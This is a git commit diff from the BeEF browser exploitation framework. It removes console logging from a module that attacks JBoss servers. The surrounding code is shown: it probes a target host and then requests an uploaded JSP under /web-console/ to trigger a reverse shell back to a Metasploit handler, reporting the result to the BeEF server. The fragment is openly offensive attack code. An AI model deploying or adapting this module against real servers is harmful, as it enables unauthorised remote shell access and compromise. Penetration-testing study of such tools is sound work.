removed console logging (I've forgot it) to prevent errors in the puto IE

git-svn-id: https://beef.googlecode.com/svn/trunk@977 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
antisnatchor
2011-05-19 09:17:04 +00:00
parent c5db1d4c87
commit f70bc8d8bd

View File

@@ -19,11 +19,9 @@ beef.execute(function() {
/* always use dataType: script when doing cross-domain XHR, otherwise even if the HTTP resp is 200, jQuery.ajax will always launch the error() event*/
beef.net.request("http", "HEAD", rhost, rport, uri,null, null, 10, 'script', function(response){
console.log("jboss HEAD response code [" + response.status_code + "]");
if(response.status_code == "success"){
function triggerReverseConn(){
beef.net.request("http", "GET", rhost, rport,"/web-console/" + jspName + ".jsp", null, null, 10, 'script', function(response){
console.log("jboss GET response code [" + response.status_code + "]");
if(response.status_code == "success"){
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Reverse JSP shell should have been triggered. Check your MSF handler listener.");
}else{